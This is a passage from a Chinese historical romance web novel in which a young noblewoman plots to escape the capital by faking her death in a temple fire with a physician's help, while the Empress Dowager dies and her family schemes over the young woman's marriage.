纪云瑟不知这厮何时变了一个人,这份炽热和深情倒让人难以招架。 好似她在他眼中是那等会薄情寡义的负心人,虽然她确有此意,但见他如此,而今也不敢再表现出来,以免在她逃离京城之前惹出不必要的麻烦,只半真半假轻喃道: “会,日日想你。” 男子对这个回答尚算满意,终于放她出了门。谁料,正碰上给太后行了针出来的沈绎。 沈绎的目光落在少女微肿泛红的双唇上,身形微顿,默了一瞬后,向纪云瑟道: “云瑟,你方才问我之事,我已有了答复。” 第69章 晏时锦淡淡扫过素来温润的男子眼中一闪而过的异色,却 并不在意,向纪云瑟道: “我再去看看皇祖母。” 纪云瑟浅笑颔首,见他阔步走入正殿,她暗自松口气,向沈绎道: “我正要出宫,和夫子一同走吧!” 沈绎点头应声,二人出了寿康门行至宫道上,见没什么人经过,纪云瑟向他靠近了一步,问道: “夫子愿意帮我了么?” 沈绎深深看了她一眼,道: “你真的想清楚了?” “不会后悔?” 纪云瑟诧异道: “后悔什么?” 她不是那等意气用事的草率之人,有这个想法也不是一日两日,她对侯府,对所谓的家人已经失望至极,她明明有钱,有更好的日子可以过,凭什么陪着他们一同跌进无底深渊? 何况那个深渊里已经埋了祖母和她母亲的遗骨,还不够么? 不是她不念舐犊手足之情,而是父亲到现在还不肯放过她,偏想利用她的终身幸福换取纪府和弟妹们的前途。 她还有什么犹豫的? 至于晏时锦,她是有些动心,但也不会为了他走进另一个牢笼。 沈绎顿了顿,却没再问,只道: “有一个办法,或许可行。” 纪云瑟眸光发亮,兴奋地拉住了他的衣袖: “夫子想到了什么?” 沈绎的目光掠过落在他手臂上的嫩白小手,抿了抿唇,终是开口道: “我可以帮你和两个婢女找三具无人认领的女尸,到时,想法子毁容,或者,干脆付之一炬,便没人怀疑了。” 纪云瑟眨了眨眼睛,不禁弯唇: “不错,是个好办法!” 失火放假尸体金蝉脱壳这一招,总比她假死要强多了。 毕竟万一弄巧成拙,她被钉死在棺材里那不是死得太冤枉? 而假尸体再加上火烧,面目全非无法辨认,就不会有人怀疑,直接入殓了就是。 沈绎又蹙眉道: “可是,若无缘无故起火,太过刻意不说,且不管是在侯府,还是你的哪处铺子,都是紧挨着别户人家,一不留神就容易蔓延开来。” “到时连累了他人,一则伤及无辜,再则,此事会被顺天府彻查,恐怕会兜不住。” 纪云瑟霎时泄了气: “那怎么办?” 沈绎不慌不忙,道: “得找个合适的起火之所,合情合理,不惹人怀疑,更不会殃及他人。” “但是,我暂时还未想到。” 纪云瑟略思一瞬,道: “此事也不急于一时,夫子再想一想,我也想一想,总会想到合适的时机,合适的地方。” 说罢,她向沈绎告辞了一声,道: “我先出宫,去找一趟方叔,说不准他有什么好主意。” 沈绎目送她离开,却并未回太医署,径直去往了北直房,这里住着的都是各宫所最下等的内监,有几人见着他上前客气地打着招呼: “沈太医您又来了?” 他们身份低贱没什么月钱,若是有些小病痛多半都是熬着,实在熬不下去才去太医署拿些药吃,只有沈绎会亲临替他们诊治,有时还自己贴补替他们拿药,故而都对他心存感激之心。 沈绎向他们笑了笑,进入最里侧的一间厢房中,里面的内监见他过来,忙从床榻上起身,瘸着一条腿走近躬身行礼。 沈绎从药箱里拿出一个颇大的瓷瓶,道: “药酒我已经泡好,你每日喝一小杯即可。” 他又拿出了艾条,道: “我再与你灸两次穴位,再过几日,腿当不会疼了。” 这内监姓李,家中排行四,大伙儿都唤他李四,他约莫四十上下的年纪,曾在尚寝局打杂。 李四面露感激,道: “多谢沈太医。” 沈绎道: “不必谢我,我早已与你言明,我帮你诊治,你替我查探。” 他本就是抱着目的入宫,入宫后刻意接近宫女内监们,一来的确是同情他们身份低微无法随时看诊的遭遇,想帮一帮他们,再则,就是为了查当年父亲暴毙的原委,和身为太医院正的他已经发现,却还未来得及说出的秘密。 如果沈绎没有猜错的话,父亲或许就是知晓了导致当年的皇长子夭折,以及当今太后骤然缠绵病榻的真相,才被人灭口。 李四点了点头,一面坐在床榻上,让他灸腿上的穴位,一面道: “老奴已经查探了一圈,确如您所料。” “只可惜,所有的东西尽毁,没有留下丝毫证据。” 沈绎眉心皱起,但举着艾条的手却纹丝不动,他想了想,道: “也不尽然。” “既然做了,就不会了无痕迹。” “想办法,从源头查。” 李四道: “宫里的所有寝具,丝缎料子采购自各省织造,针线刺绣由针工局的绣娘们亲手做,一样一样,都是经司礼监的公公们一一过目,不会有异样。” 沈绎沉吟片刻,道: “也不尽然,宫里的贵人过生辰,自然会收到贺礼,其中不乏衣物被面这类刺绣之物。” 李四道: “这不可能,每样贺礼都登记在册,若是从这里动手脚,极易查到谁是罪魁祸首。” 沈绎深深看了他一眼: “正是大家都按常理去想,这桩事才会隐秘到二十年都没有露出一丝马脚。” 李四恍然大悟,点点头: “老奴明白了。” 他给李四艾灸完之后,又交待了他几句,并叮嘱他需尽快办,或许,他在宫里待的时间也不会太久了。 ~ 纪云瑟步出宫外,正准备上自家的马车,却听见一声清脆的叫喊声: “纪姐姐!” 她回过头,就见赵如昕蹦蹦跳跳的跑了过来,拉着她满脸都是惊喜兴奋。纪云瑟微微屈膝行礼: “郡主怎的在此?” 赵如昕道: “母妃入宫,非要我陪着,她去探望贵妃,我就准备先溜回家,没想到竟碰上了你,真是巧!” 她眼珠儿一转,拉着纪云瑟道: “姐姐,咱们出去逛一逛吧?” 纪云瑟原本是想去找方叔,便答应了,与自家小厮说了一声后,跟着她上了涟亲王府的马车。 二人逛了几家脂粉铺子和首饰铺子,纪云瑟便道: “咱们去悦椿楼坐一坐吧,我知道那里下午会有时兴的茶点,味道不错。” 赵如昕听过这名号,但她平日里甚少独自出门,想也不想就答应了。 纪云瑟自然没有同她说起自己跟悦椿楼的关联,正在酒楼清账的方成看见了自家大小姐带着一个陌生的姑娘进来,也不动声色,给她安排了一个雅间,上了最好的茶水和茶点。 纪云瑟陪着赵如昕喝了两盏茶,吃了些茶点后,便说要去恭房。她心知这里安全,正好找方叔说几句话。 她在掌柜内室寻到方成,说起沈绎的主意,方成面露担忧,不知可不可行,纪云瑟倒是觉得甚有把握成功。 正要与他商议具体事宜,却听外头传来一阵争吵声,方成出去看了一眼,道: “大小姐,是您带来的那位姑娘。” 纪云瑟匆忙赶了出去,却见赵如昕双手交叉,气呼呼地站在雅间门口,而她身旁,是一个锦衣华服的少年男子,还有几个衣饰不俗的小厮远远地垂首侍立。 男子在一旁不断作揖: “好郡主,我都跟您说了多少回,那就是个误会,您原谅我吧!” 赵如昕正眼都不看他,直言道: “滚,有多远滚多远!” 男子躬身低眉拱着手道: “姑奶奶,您到底要我怎么样呐?” 纪云瑟想过去却被小厮拦在外,只得唤了一声: “郡主!” 赵如昕看过来,气呼呼向那男子道: “你疯了吧?连纪姐姐也敢拦?” 小厮见状,将纪云瑟放了进去,她行至赵如昕的面前,就见那男子立刻将她上下打量鉴赏了一通,片刻后方收回目光,继续向赵如昕恳求道: “郡主,我都已经知错了, 您放心,绝不会有下次!” 赵如昕并不理他,拉着纪云瑟道: “纪姐姐,咱们走!” 她一把推开男子,和纪云瑟走出门外,又似想起什么,停下了脚步,纪云瑟忙道: “郡主放心,我已经付过账。” 赵如昕被那王八羔子扰的一点儿心情都没了,道: “说好我请你吃,怎能让你破费呢?” 纪云瑟笑道: “无妨,下次郡主请我吃更好的。” 赵如昕这才向自家马车走去,谁料那男子又追了过来,拦在她面前,作揖道: “郡主,给我个机会,您要怎么罚我就怎么罚,别不理我!” 赵如昕怒斥他一句,道: “姓孟的,你若再缠着本郡主,别怪我不客气!” 纪云瑟闻言明白过来,此人就是与赵如昕自幼订亲的内阁孟次辅的幼子,孟家五郎。就他刚刚看向自己的眼神,纪云瑟已经猜到几分,这男子会犯什么错,让赵如昕如此生气。 但她的身份,倒不好说什么。 孟五郎派人蹲了许久才等到赵如昕今日出了王府,又听人报她来了悦椿楼,便匆忙赶过来,为上次他在醉花阴喝酒狎妓被赵峥知晓后当场捉到一事道歉。毕竟这门亲事若是黄了,全家都不会放过他。 赵如昕自不可能原谅他,正要出言教训,却听马蹄声传来,“吁”的一声,身着烟栗色箭袖的男子一跃下马,看向赵如昕,道: “郡主,是否有何麻烦?” 纪云瑟认出,这是在马球会见过的成安侯世子厉书佑,赵沐昭的心上人,正诧异他为何在此,只听赵如昕忿忿地指着孟五郎,道: “他缠着我,你帮我把他赶走!” 孟五郎怒视厉书佑一眼,口不择言道: “你算老几?敢管小爷的事?” 厉书佑客气一笑,一把将他双手扣在后制住,道: “奉郡主之命,得罪!” 孟家小厮见自家主子被人制住,想上前又不敢动,赵如昕重重的哼了一声,便拉着纪云瑟上了自家马车,吩咐车夫驾马离开。 纪云瑟远远听见孟五郎嚎啕了几声后没了动静,再看赵如昕一脸痛快的模样,略思一瞬便了然厉书佑和赵如昕的微妙关系,看来,那位刁蛮公主注定是爱而不得了。 但见赵如昕心情不佳,也不好多问,与她商议了下次再聚便回府。 纪府中,纪云惜看见自家马车已经停在了东次院,以为是纪云瑟回来了,上前问了小厮后,她气冲冲寻到魏氏: “姐姐她究竟想怎样嘛?” “这边与晏世子交好,转头又上了涟亲王府的马车,这不是存心想招闲言碎语么?” 魏氏却似听懂了纪云惜话里的意思,深深看了她一眼,道: “你去哪儿了?” 纪云惜一愣,躲闪着目光,道: “没,没去哪儿。” 魏氏瞧着她新上身的藕荷色百叠裙和头上簪着的新制珠花,早已明白了几分,她从前分明喜欢鲜艳惹眼的眼色,这两日却换了几身素色衣裳,不禁皱着眉头抓住她的手,严肃道: “你老实说!” 纪云惜咬了咬唇,道: “就是,今日淮安侯家有个赏秋宴,我便跟着裘三姑娘去瞧了瞧。” “就是见识见识而已,没…没做什么别的。” 魏氏看了这个涉世未深的女儿一眼,厉声道: “你还不肯说实话?” 纪云惜见母亲真的生气了,只得低头扭着袖口衣襟,道: “我,我就是听说,听说涟亲王世子也会去,所以…” “母亲,我根本没见着他,真的,您相信我!” 魏氏恨铁不成钢,怒声道: “惜儿!我早跟你说过,那等人家不是你可以招惹的,你为何不听?” 纪云惜道: “姐姐可以,为何我不可以?” 那日,她看到赵峥对纪云瑟的殷勤就十分羡慕,又觉得赵峥的出身极好不说,相貌和人品也都是上等的,想着只要她多在赵峥面前晃一晃,他爱慕纪云瑟不得,说不定就会把目光放在她这个与纪云瑟长得有些相似的妹妹身上。 纪云瑟都能搭上晏国公世子,她为何就不能和赵峥? “等我日后做了郡王妃,母亲不就扬眉吐气了么?” 魏氏的确一时有过这样的想法,但细思之后却清楚不可能。 她这个女儿不比纪云瑟,在这一点上她还是十分清醒的,她皱紧眉头看向纪云惜,声量又大了几分,厉声道: “你有多少本事去攀那等人家?你自小娇生惯养,话不会说,事不会做,哪里能和你姐姐比?” 纪云惜见素来慈爱的母亲真的动了怒,也不敢再辩驳,只得低着头不说话,魏氏叹了口气,苦口婆心道: “你信母亲,高门贵户不是那么好进的!你年纪还小,不用急,等你姐姐的亲事定下之后,母亲定会帮你寻一个合适的人家,绝不让你受苦!” 她自己算是高嫁入侯府,自知每日除了低声下气地服侍丈夫长辈,还要想法设法辖制妾室通房,顶着嫡母身份,费心养育别人的子女,这样的日子并不好过。 她不希望自己唯一的女儿重走自己的老路。 纪云惜不情不愿地应了一声: “我知道了,母亲。” 正说着话,纪筌自掀门帘而入,魏氏换上笑容,前去给他宽下官服: “侯爷回来了。” 纪云惜也微微一福,乖巧地主动去给他斟茶,双手捧了过来。 魏氏见纪筌神色凝重,喝了一口茶便不言语,只是沉声叹气,和纪云惜对望了一眼,忙问道: “侯爷怎么了?今日衙门里有何事么?” 纪筌道: “还不是瑟儿的事!” 他皱着眉头拍了拍衣摆上的灰尘,叹气道: “前两日,我托一个相熟之人去探了探晏国公的口风。” 魏氏忙凑过来,坐在他身旁的圈椅上,焦急道: “怎么说?” 纪云惜也靠着魏氏身侧,却听纪筌蹙紧眉头,道: “说是他家老夫人因为亲事与世子置气,已经好些日子不肯见人,饭也不肯吃,昨日连太医都在府上住下了。” 魏氏忍不住轻哧一声: “这老太太也太过蛮横执拗了!” 纪筌面色十分不好看: “据说,连老国公爷也不敢劝!” 魏氏道: “那晏世子呢?他还没回京么?” 纪筌道: “估摸着是!” “晏国公劝不住儿子,定是想法子拖住他不让他回京城。如此,瑟儿的亲事恐怕悬了。” 虽然魏氏和纪云惜私下里会蛐蛐纪云瑟的好命,但真见煮熟的鸭子有要飞的趋势,也是不能甘心。纪云惜道: “那怎么办?” “父亲,您得想个好法子呀!” 若是晏国公府不要纪云瑟,她转头又找上赵峥,那自己不是白忙活了一场? 魏氏捋了捋思绪,道: “侯爷,我倒是觉得,咱们可以主动找晏国公谈一谈。” 纪筌蹙眉看向她: “我找他,谈什么?不是自取其辱?” 他在官场上一辈子唯唯诺诺,见了威名在外的晏国公恐怕腿都会发抖,还敢找他要求什么? 魏氏道: “我说句实话,侯爷别生气,说到底,咱们的确配不上他们晏国公府。” 见纪筌冷眼扫过来,魏氏赶紧接口道: “所以,我觉得,侯爷若是不想放弃这门亲事,咱们可以主动找晏国公,就说,咱们瑟儿做侧室也是好的。” 纪筌正要斥她几句,却又突然觉得,不管他接不接受,的确就是这个道理。见他若有所思并不言语,魏氏继续道: “侯爷,此事尚有转机,若是真的等晏老夫人给世子定下亲事,恐怕,咱们连个侧室都争不到了!” 纪筌并未开言,伸手拿过茶碗,顿了许久才饮下一口,道: “此事,我自有打算。” 魏氏觑着他的神色,便知他已经听进去了,不禁松了一 口气,舒展了面容,心中的那些不平自通通散了去。 ~ 纪云瑟每日早膳后便入宫,帮忙照顾了太后等她行了针睡着,又去凤仪宫找孙雪沅闲话,顺便问问沈绎,那件事的进展。 沈绎告诉她,他已经让人私下与京城的一间义庄联系好了,这段时日会留心一些无人认领的女尸,若是有身量年龄与纪云瑟及两个婢女相仿的,便会留着用冰棺保存。 纪云瑟放下心来,出宫与方成见面,因悦椿楼明面上的东主早已与苏氏无关,只是方成私下里一直在打理而已,故而想要迅速脱身就是一句话的事。 方成素知这位大小姐在章齐侯府中过得并不舒心,如今听说纪筌还要利用她的婚事,更是愤懑不已,见纪云瑟心意已决,便也不再劝,听她的吩咐将京城的产业都托付交待妥当,自己带着金银细软先行回扬州。 待与扬州的当家主子苏家二小姐商议后,再联系纪云瑟接应她逃离京城之事。 办妥了这些,纪云瑟捶着肩背回府,也不去给纪筌请安,径直到了筑玉轩。 效猗奉了茶过来,悄声问道: “姑娘,方掌柜那边,都说好了么?” 纪云瑟咕咚咕咚饮了一大碗茶,点点头,道: “他过两日就会回扬州,跟姨母商议接应咱们之事。” 效猗还是有些担心,道: “可是,姑娘,这真的能行么?” 她在高门后宅长这么大,从未听说哪家姑娘突然消失,假死逃走的事情,甚至觉得是不是自家姑娘话本子看多了,思路竟如此离奇。 纪云瑟安慰她道: “放心,沈夫子说能行,就一定能行。” “再过些时日,就是万事具备,静待时机了。” 就算她是异想天开,但沈绎从来不是一个冒失冲动之人。 效猗叹着气,还想再说什么,却见崇陶一脸无语地走了进来。她给纪云瑟添上茶水,问道: “这又是怎么了?从哪儿回来?” 崇陶看向纪云瑟,闷闷道: “姑娘上回马球会做的新衣裳,前几日被二姑娘借去穿了,说是这两日就还,奴婢去问,又说今日还穿着,过几日再说。” “上回太后娘娘赏的料子您一件衣裳都没做,全被夫人收起来了,好不容易做一身,还要被人抢走,姑娘,她们太过分了!” 纪云瑟对这种事已经习以为常,她道: “一件衣裳而已,她要就给她吧,这有什么值得生气的?” “为这点小事气坏了身子才不划算呢!” 效猗却道: “奴婢倒觉着奇怪,若是从前,二姑娘难得做一件新衣裳,来抢您的就罢了,可那些新料子一进府里,夫人就给她挑了好几种花式的做了几身,为何还看得上您的?” “您那件雪青的,还是在外头布庄里买的普通料子,哪有太后娘娘赏的好?” 纪云瑟已经开始翻看方叔给她的各个铺子的账本,不想去深究,道: “她就是这个性子!” “总觉得别人的东西香一些。” “别管她!” 夜幕降临,纪云瑟从筑玉轩过来,刚至恩熙堂,准备与纪筌等人一同用晚膳,却突然有门房的小厮匆忙来报: “大姑娘,急事!” 纪云瑟眉心一跳,道: “怎么了?” 小厮气喘吁吁,道: “宫里来了人接姑娘,说是寿康宫急召!” 此话一出,连纪筌也一时慌了神,忙问道: “瑟儿,这是……” 纪云瑟皱紧眉头,想到最近太后的身子,已经猜到了几分缘由,双手开始微微颤抖,心陡然沉了下去,实话实说道: “恐怕是…太后娘娘身上不好,周嬷嬷让我们几个常在跟前的小辈过去…瞧最后一眼…” 说着,她的眼眶已经红了,眼泪不自觉滚落下来。 纪筌忙道: “瑟儿,那你赶紧去,千万莫要耽误了!” 太后临终之前能想到他家长女,说明是把她当成了家人,晏国公府总是要顾虑这层关系,那他日后就算主动找晏国公,也能有砝码在手。 纪云瑟答应了一声,没有心情再管其他,小跑着出了门,钻入寿康宫派出来的马车里。 第70章 夜幕沉寂,乌云遮月,整座宫城似笼罩在一片阴沉的暮霭中。 纪云瑟气喘吁吁地赶到寿康宫时,殿内殿外已经乌泱泱地跪了一地的人,寝殿的窗棂透出烛火,隐约可见交错往来的人影晃动,一个跪在院内,日常跟在周嬷嬷身旁的宫女瞧见了她,忙起身过来将愣着神不知所措的纪云瑟带入殿内,悄声道: “嬷嬷说,让姑娘您在这里候着。” 内室的珠帘外,以裕王为首,蔚王、祈王和赵沐昭等人依次跪着,靠前的是后宫的各位妃嫔,她没有瞧见孙雪沅和夏贤妃,应该是侍奉在太后的身侧。 纪云瑟回过神,伸手抹去满脸的泪水,依小宫女所言,跪在了景和公主的后边。 珠帘后,两排太医跪地俯首,皆是眉头紧锁默默叹气,孙雪沅和夏贤妃在一旁默默用帕子抹着眼泪。 永安帝坐在炕沿上,神色凝重,眼眶含泪,他紧握着太后的手轻声道: “母亲,子睿马上就到城门了,您有什么话,可以先跟儿子说。” 太后苍白的脸上没有一丝血色,她费力的看了皇帝一眼,目光落在他身后的某处虚空,动了动唇,勉强发出了一个声音,永安帝垂耳贴近她,才听清她在说: “玥儿…” 周氏跪在一旁泣不成声: “娘娘这两日睡觉时,总是念着长公主,和皇长子殿下。” “娘对不起你,玥儿……” 太后阖目喃喃而语。 周氏跟着道: “娘娘总是自责自己怀着长公主时没有保养好,让长公主生来就身子弱,害她生下世子爷后血虚而亡。” 永安帝安慰了太后几句,蹙眉看向身旁的江守忠: “去看看子睿何时到,快让他进来!” 江守忠领命往外跑,周氏又道: “还有皇长子,娘娘又说皇长子不比长公主生来身子弱,好好的会突然……一直怪自己没有照管好皇长子殿下,日日自责。” 永安帝握紧太后已经没有任何温度的手,俯下身在她耳畔道: “母亲,栩儿是突发惊厥而死,与您无关,你万不可如此自责呐!” “您这样,让儿子如何自处?” “子睿…” 太后的声音愈发虚弱无力,门外传来江守忠的高声通禀: “世子到!” 一个玄色身影闪入殿内,快步行至内室,跪在了炕沿旁,晏时锦风尘仆仆,抓住了太后向他伸出的手: “皇祖母,孙儿回来了!” 太后用尽最后一丝力气撑开眼皮,看了他一眼,在握住他的手后,艰难地吐出了几个字: “好好的,都好好的…” 又不舍地看了一眼永安帝,便阖上了眼睛,手瞬间垂落。 丧钟敲响,寿康宫内哭声一片。 纪云瑟直到亲眼见着太后的梓宫奉安钦安殿,灵堂布置妥当,方切身感知到,这位真心疼爱她的长辈的确离她而去。 已近中秋的夜里有了些许寒意,秋风萧瑟,永安帝引领众人成服,整个宫城挂起了漫天的白幡,纸钱飞撒,层叠的白幔尽头,是书有太后谥号“孝惠仁皇后”的灵牌。 一轮哭祭之后,纪云瑟被孙雪沅安排去往一旁的厢房内陪着周嬷嬷。 周氏哭得没有了力气,纪云瑟小心扶着她斜倚在暖炕上,将引枕放好,又去斟了热茶过来,握着她的手,哑着嗓子道: “嬷嬷,喝口水,润润喉咙吧!” 周氏摆了摆手,目光落在屋内摇晃的烛火上,幽幽道: “我自小陪在娘娘身边,与她一同长大 ,看着她嫁给先帝做了王妃,生下先太子,生下陛下和长公主,又看着她做皇后,做太后,谁承想……” “娘娘,您怎能抛下奴婢,自个儿先走了呢?” 纪云瑟想着太后素日里的疼惜爱护,亦是止不住泪水,但看周氏悲恸欲绝,也只能先安慰她,道: “嬷嬷您别难过了,娘娘在天上看着您这样,会心疼的!” 周氏恍若未闻,又似陷入了回忆,一件一件地说起了从前的一些事: “娘娘呐,您从小就淘气,奴婢跟着您,总是提心吊胆的,生怕您闯了祸,奴婢又得跟着您一同挨饿跪祠堂。” “可是,您也最疼奴婢,有什么好吃的第一个想着奴婢。” “那回奴婢生病,您还笨手笨脚地照顾奴婢,给奴婢喂刚烧开的水,烫得奴婢舌头上起了个大水泡…您又吓得巴巴的给奴婢请太医。” “娘娘,咱们守了一辈子,您怎么舍得抛下奴婢……” 纪云瑟知她是悲痛过度,一时接受不了,或许把心中的哀念说出来,反而好一些,便陪着她说话。 说到太后二十年前身体突然急转直下,纪云瑟突感诧异,遂问起道: “嬷嬷,照您的意思,娘娘从前十分擅长骑马射猎,身子骨也强健,那为何会一直缠绵病榻呢?” 似乎从她记事起,跟着祖母常入后宫探望太后,她老人家多半就是病着的,总不见好,太医院的太医换了一轮又一轮,都束手无策。 周氏叹了口气,抹了一把泪,道: “娘娘出身大将军府,自小就会舞刀弄枪,甚少生病。就是当年先太子坠马而亡,她怀着长公主,一时伤心病了许久,但生下长公主后调养了一些时日,身子便也好了起来,就算是日日亲自照顾病弱的长公主,也是熬过来了,并无大碍。” “后来陛下即位,皇后去世,皇长子养在了太后膝下,太后亲自照料亦是无妨的。” “直到皇长子突然薨逝,太后的身子才骤然垮了下来。” “又有长公主生下世子爷后不到半年就血虚而亡,娘娘更加受不住打击,变成了日日与汤药为伍。” 纪云瑟还是有些不解,说道: “可是,娘娘的身体底子好,论理也不是没见过风浪之人,若只是受不住打击,何至于此?” 周氏擦了泪,定定地看向她,又似陷入了回忆,喃喃道: “是啊,何至于此?” “以娘娘的性子,不该如此……” 纪云瑟见她愈发悲痛,不敢再多说,只得劝慰道: “嬷嬷快别如此了,娘娘在天上,定是希望您好好的。” 她扶着周氏轻抚她的后背,帮她顺着气,却见晏时锦推门而入,一身素白孝衣衬得他的面色更是白如积雪。 “世子爷……” 周氏一见他过来,起身伏在他怀里又止不住眼泪,晏时锦拍拍她的后背,对这位照顾自己从小长大的老嬷嬷道: “嬷嬷莫哭了,您还有我,还有陛下。” 安抚了她一阵后,又看向纪云瑟,道: “辛苦你,替我好好照顾嬷嬷。” 纪云瑟答应着,擦去眼泪,看着他满眼的红血丝,和一脸的疲惫之色,问道: “你这几日都没睡觉么?” 晏时锦扶着周氏坐下,道: “接到飞鸽传书时,我尚在虔州。” 纪云瑟叹了口气,也不知该劝慰他什么,便拉住他的手,道: “你也要保重自己的身子。” 男子将她冰凉的小手握紧: “我知道。” 掌心的温度消失,晏时锦深深看了她一眼,将周嬷嬷托付她照料后,便出门离开。 又是一轮哭祭之后,天已蒙蒙亮,周氏滴水未进,终于熬不住,晕了过去,纪云瑟只得让小宫女去寻沈绎。 沈绎提着药箱赶来,给周氏用针刺了几个穴位,她方悠悠醒转,纪云瑟在一旁劝了许久,才喂她吃下一碗米粥,哄着筋疲力尽的周氏慢慢睡了过去。 沈绎看着一脸倦意的纪云瑟,道: “你也趁这会子好好休息一会儿,太后娘娘的丧仪繁重,可有得熬。” 纪云瑟点头应声,忽然想到周氏的一番话,便顺口问道: “夫子为太后娘娘诊治许久,可有发现她的身子有何别的异样?” 沈绎闻言一顿,诧异道: “此话何意?” 纪云瑟揉着有些酸痛的脖颈,道: “我也只是猜测而已,听周嬷嬷说娘娘从前身子骨极好,若只是因皇长子和长公主的事受了打击,有自责的情绪,论理也不该如此身体急转直下呀!” “那时娘娘的年岁并不算高,又贵为太后,有太医院的众多太医照料,补品药材应有尽有,何至于从那以后就缠绵病榻呢?” 见沈绎沉默不语,只皱着眉头看向透着微亮的窗棂,纪云瑟拍了拍他,道: “夫子,您有没有觉着太后的病情有可疑之处?” 沈绎看了她一眼,抿了抿唇,终是说道: “没有。” “当年皇长子和长公主相继离世,接二连三的打击,的确有可能让人一下病倒。” “更何况,太后娘娘生性纯良,时常自责,抑郁过度,则易伤心脉,加上年岁渐长,久而久之,身体自然难以承受。” 纪云瑟听后,心中仍有疑虑,问道: “真的么?” 沈绎放松了神情,道: “我骗你做什么?” “何况,若是太后的病真的存疑,太医院众多太医,不可能发现不了。” 他收拾好了药箱,见周嬷嬷已睡沉,他细思了一瞬,停下脚步,悄声说道: “关于之前咱们说的选起火点一事,我已想到了一个合适的地方,但是,必须最近做此事。” 纪云瑟道: “什么地方?” 沈绎道: “太后素来信佛,陛下已经拟定,娘娘的梓宫奉安帝陵后,让公主郡主们和娘娘母家的几个孙辈亲赴灵岩寺为太后诵经,祈福超度。” “灵岩寺?” 纪云瑟眨了眨眼睛看向他,沈绎点点头,继续道: “不错,灵岩寺在南云山,地处偏僻,旁边没有住户人家。” “我知道,寺中有一处西面的禅房位于一处峭壁旁,离寺中几处大殿甚远,又不挨着皇家别苑,是最理想的起火之处。” “如今又是秋季,天干物燥的天气走了水,不容易惹人怀疑。” “可是……” 沈绎见她有所犹豫,劝说道: “这是最好的一次机会,若是错过了,你独自一人不管到何处,都会显得太过刻意,惹人怀疑。” 纪云瑟垂眸不语,她没料到太后会骤然薨逝,太后真心待她,要她利用为太后祈福一事逃跑,心中总有些过意不去。 更何况,她看到晏时锦今日的模样,突然有些不忍在他最难过的时候一走了之。 沈绎静静地看着她片刻,却罕见地催促她道: “云瑟,你还有何顾虑么?” “还是…有什么不舍之人?” 窗外天已大亮,晨光打在少女瓷白的脸颊上,衬得眼下的黑青愈加分明,沈绎难得在这个行事果决,素日有主意的女学生脸上,看到了明显的犹疑之色。 宽袖中握着药箱的手紧了紧,他抿了抿唇,开口道: “机会难得,若是放弃,日后你再想筹谋,恐怕就难了。” 见她看了一眼熟睡的周嬷嬷,似下不了决心,沈绎终是叹了口气: “也罢,还有些时日,你再好好考虑。” “夫子,等一等!” 纪云瑟收回目光,叫住欲离开的沈绎,下定决心: “就按夫子说的做!” 他说得不错,若是 错失这个时机,不管她以后再单独到任何一个地方放火,都会显得太刻意,愈发惹人怀疑。 而寺庙里本就有香火,又是人多一同去,会有些遮掩。 她摒去心底的一丝不舍,定然道: “我会想办法随同公主郡主们去灵岩寺,至于其他的,请夫子帮我安排。” 沈绎暗暗松了掌心,温声点头应道: “好。” 纪云瑟直接歇在了宫里陪着周氏,纪筌得到她的传信,自是巴不得一声,立刻吩咐了人给她送换洗衣裳入宫。 几日后,周氏的情绪稳住了一些,但依旧不愿进食,只说心口堵得慌,什么都吃不下。 她算是与太后一同长大,一直是太后的贴身婢女,陪太后出嫁,帮着太后养育了永安帝兄妹三个和晏时锦,永安帝视她如傅母一般,如今太后仙逝,她便成了皇帝仅剩的亲近长辈,十分重视。 孙雪沅自是明白,她身为贵妃,挺着几个月的孕肚操持丧仪,忙里忙外不得空,便委托纪云瑟好生照料她。 宫里每日哭祭的人多,纪云瑟见御膳房腾不出空闲另做可口的餐食,便自己在寿康宫的小厨房,做了两道拿手的小菜,熬了一吊炉的芡实淮山粥,劝周氏勉强用了一些。 剩下的她用盖碗装好,放入食盒内,趁周氏睡着之后,轻手轻脚地步出门外。 晏时锦与赵檀、赵檐等人一样,每日轮流为太后守灵,纪云瑟悄悄找了紫电,不一会儿,她就在厢房等到了一身缟素的隽挺男子。 晏时锦先瞧了一眼周嬷嬷,见她已睡熟,看向明显憔悴了许多的纪云瑟,拉着她的手,道: “累不累?可熬得住?” “我没事,周嬷嬷也没事,你放心,她是这几日伤心过度,夫子替她看诊过了,说并无大碍。” 纪云瑟将食盒拿过来,端出里面的粥和小菜,道: “我看周嬷嬷不愿吃御膳房送来的东西,便自己做了一些,嬷嬷已经吃过了,这些是留给你的!” “趁现在不忙,你快些吃,吃饱才有力气。” 她知道,晏时锦身为太后的亲外孙,和几位皇子无异,守灵一跪就是好几个时辰,期间还有各种繁复的祭礼,基本上没什么闲暇用膳。 或者是御膳房掐不准时辰,送得过早,等他们吃的时候就已经冷了。 她就亲眼瞥见赵檀和赵檐他们偷偷的带着糕点在身上,趁无人注意时塞入口中,但晏时锦自不屑做这些。 所以,她特地让紫电在他轮空下来时与他说一声,让他过来休息片刻。 晏时锦看着她将碗盖一个一个揭开,白粥尚冒着热气,两道清爽的小菜鲜香扑鼻,窗棂透进的微光洒在少女的俏脸上,映衬着她下颌微扬的弧度,显得格外柔和。 仿佛进入这间有着少女恬静气息的屋子后,失去至亲的伤痛瞬间就被抚平,阴霾悲念也暂时散去。 她还亲自给他做吃食。 他之前每日忙碌,从来都是独来独往,自己也未曾记挂过用膳的时辰,却在这一瞬间,被这番细微的情致所动,突然有了日后夫妻共同生活,举案齐眉的实感。 他从衙门散值回府,她在家等着他回来一同用晚膳,饭后或许会待在书房,她看她的各类让人脸红心热的话本,他批复邸报,他们互不干扰,但她看到兴起处,会忍不住缠着他分享其中的有趣情节,非要说与他听。 如以往一般,她会给他每日重复无趣的平淡生活,掀起一道道涟漪,有时或许会让他不知所措,但却温馨,且美好。 晏时锦回过神,接过纪云瑟递给他的竹筷,坐在案桌旁,伸手擦去她脸颊上的一道烟灰印,问道: “你自己吃了么?” 纪云瑟在他一旁坐下,点点头,露出一抹讪笑: “我吃过了。” “我不常做这些,得自己先尝一尝好不好吃,再给嬷嬷和你吃呀!” “你的手艺很好。” 男子还未动竹筷,先勾唇赞了一句。 纪云瑟满脸不信: “你又没尝过,怎会知道?” “若真觉得好吃,那你必须全部吃完!” 她双手托着腮,撑在桌面上看着他吃,见他不说话,真的把粥和小菜吃了个精光,不禁轻哧一声: “看来,你是真的饿了!” 饿得让这位素来山珍海味吃惯了的国公世子,三两下把她随手做的清粥小菜囫囵干净。 晏时锦将她要去收拾碗筷的手拉了过来,握在手心,说道: “若是觉得累,你跟着嬷嬷一同在这里休息一会儿。” 